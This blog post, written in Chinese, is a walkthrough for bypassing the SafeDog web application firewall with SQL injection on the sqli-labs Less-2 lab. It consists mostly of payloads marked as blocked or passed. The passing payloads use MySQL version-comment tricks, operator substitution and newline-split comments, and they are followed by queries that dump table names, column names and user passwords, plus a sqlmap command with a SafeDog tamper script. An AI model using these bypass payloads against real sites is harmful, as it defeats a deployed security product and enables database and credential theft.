持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第五天,点击查看活动详情
环境
环境:phpstudy(Apache+Mysql) 安全狗版本:4.0.26655 靶场:sqlilabs less2
正文
之前版本如果管理员只是使用了默认的设置,一般使用Post传参即可绕过,但是新版的安全狗对比之前默认开启检测POST和COOKIE,所以这个方法已经不好用了。
1、判断是否存在SQL注入
拦截:
id=1 and 1
id=1 and '1'
id=1 and 1+1
id=1 and 1+a
id=1 and 1e2 //溢出(拦截)
如果id=2-1和id=1的长度相同则存在注入
不拦截:
id=1 and a
id=1 and a+1
id=1 and 0x0
id=1 and hex(1)
根据上面的测试得知and后面不能为字符型或者数字型 但是当输入id=1 and -1=-1时却回显正常,说明只判断数字型的正数,因此可以使用:
id=1 and -1>-2
id=1 and -1=-1
id=1 and ~1>1
.....
另外安全狗有过滤and或者or的规则,可以使用特殊符号进行替换
拦截:
id=1 && 1=1
id=1 || 1=1
不拦截:
id=1 & 1=1
id=1 | 1=1
id=1 xor 1=1
id=1 xor true
2、查看字段
拦截:
id=1 order by 1
id=1 order/**/by 1
id=1 order/*!*/by 1
order和by同时出现就会被拦截
id=1 order by (1)
id=1 /*!order*/ by 2
id=1 order /*!by*/ 2
id=1 /*!order*/ /*!by*/ 2
不拦截:
id=1 /*!11440order*/ /*!11440by*/ 3
id=1 /*!order*/-- a%0a/*!11440by*/ 3
3、union select
拦截:
id=-1 union select 1,2,3
id=-1 /*!union*/ /*!select*/ 1,2,3
id=-1 union all%23select 1,2,3
id=-1 unionxselect 1,2,3
不拦截:
id=-1 union /*select*/ 1,2,3
注释绕过
id=-1 union -- %0a select 1,2,3 拦截
id=-1 union -- ()%0a select 1,2,3 拦截
id=-1 union -- 1%0a select 1,2,3 拦截
id=-1 union -- a%0a select 1,2,3 拦截
id=-1 union -- hex()%0a select 1,2,3 拦截
版本号绕过
id=-1%20union/*!/*!50000select*/%201,2,3 拦截
id=-1%20union/*!/*!5select*/%201,2,3 不拦截
** 不拦截的原因是它的版本号为5000,多一位语句都不能正常执行,所以可以配合fuzz进行遍历 **
id=-1 union/*!11440select*/ 1,2,3 不拦截
id=-1 union/*!/*!11440select*/ 1,2,3 不拦截
id=-1 union/*!11441/*!11440select*/ 1,2,3 不拦截
id=-1 union/*!11440select*/ 1,2,3 不拦截
id=-1 union/*!11440/**/%0aselect*/ 1,2,3 不拦截
4、查数据库名及路径
database()和user()都被过滤掉了,@@datadir没有
id=-1 union/*!11440select*/ 1,2,database() 拦截
id=-1 union -- %0a select 1,2,database/**/() 拦截
id=-1 union -- %0a select 1,2,database/**//*()*/ 拦截
id=-1 union -- %0a select 1,2,hex(database/**/(/**/)) 拦截
id=-1 union /*!11440select*/ 1,2,database/*!11440()*/ 不拦截
安全狗并没有过滤很多函数,下面就可以直接注出内容
5、查表名
?id=-1 union /*!11440select*/ 1,2,group_concat(table_name)from `information_schema`.tables where table_schema=/*!11440database()*/
6、查字段
id=-1 /*!11440union*/ /*!11440select*/ 1,2,group_concat(column_name)from `information_schema`.columns where table_name=0x7573657273
7、查数据
id=-1 /*!11440union*/ /*!11440select*/ 1,2,group_concat(username,password)from users
总结:
与之前相比最大的区别在于很多很多的绕过方法不能使用了,不过版本号bypass这个还是一直可以使用的。 版本号bypass永远的神!
sqlmap自动化绕狗
python3 sqlmap.py -u "http://192.168.43.234/sqli/Less-2/?id=1" -D security --tables
--flush-session --tamper=safedog --random-agent